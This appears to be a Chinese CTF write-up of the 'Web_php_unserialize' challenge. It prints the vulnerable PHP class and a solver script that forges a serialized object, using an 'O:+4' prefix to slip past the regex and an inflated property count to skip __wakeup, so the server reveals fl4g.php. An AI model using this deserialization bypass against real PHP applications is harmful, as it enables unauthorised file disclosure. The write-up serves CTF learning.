攻防世界-Web_php_unserialize

题目

废话没多说 上来就是一段代码

<?php 
class Demo {
    
     
    private $file = 'index.php';
    public function __construct($file) {
    
     
        $this->file = $file; 
    }
    function __destruct() {
    
     
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() {
    
     
        if ($this->file != 'index.php') {
    
     
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) {
    
     
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) {
    
     
        die('stop hacking!'); 
    } else {
    
    
        @unserialize($var); 
    } 
} else {
    
     
    highlight_file("index.php"); 
} 
?>

简单分析一下:
先创建了一个Demo类,其中具有
__construct创建file对象,__destruct摧毁对象,__wakeup方法(提示说在fl4g.php中有东西)
应该还是要绕过__wakeup() 构造两个对象即可
正则的话 匹配o,c开头的字母加数字 看网上说用+即可绕过

这题有个坑
!图片描述](https://img-blog.csdnimg.cn/20210401095515588.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzNzU1MjE2,size_16,color_FFFFFF,t_70#pic_center)

我本来打算直接构造进行base64编码 却发现怎么都过不了。。。很烦
写个脚本

<?php
class Demo {
    
    
    private $file = 'index.php';
    public function __construct($file) {
    
    
        $this->file = $file;
    }
    function __destruct() {
    
    
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
    
    
        if ($this->file != 'index.php') {
    
    
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}

$a = new Demo('fl4g.php');
$b = serialize($a);
$b = str_replace('O:4', 'O:+4',$b);
$b = str_replace(':1:', ':2:',$b);
echo base64_encode($b);

发现就可以过了
把脚本跑出来的反编码看一下
在这里插入图片描述
发现有两个不可见字符
好像是因为private的缘故。。。

猜你喜欢

转载自blog.csdn.net/qq_53755216/article/details/115200837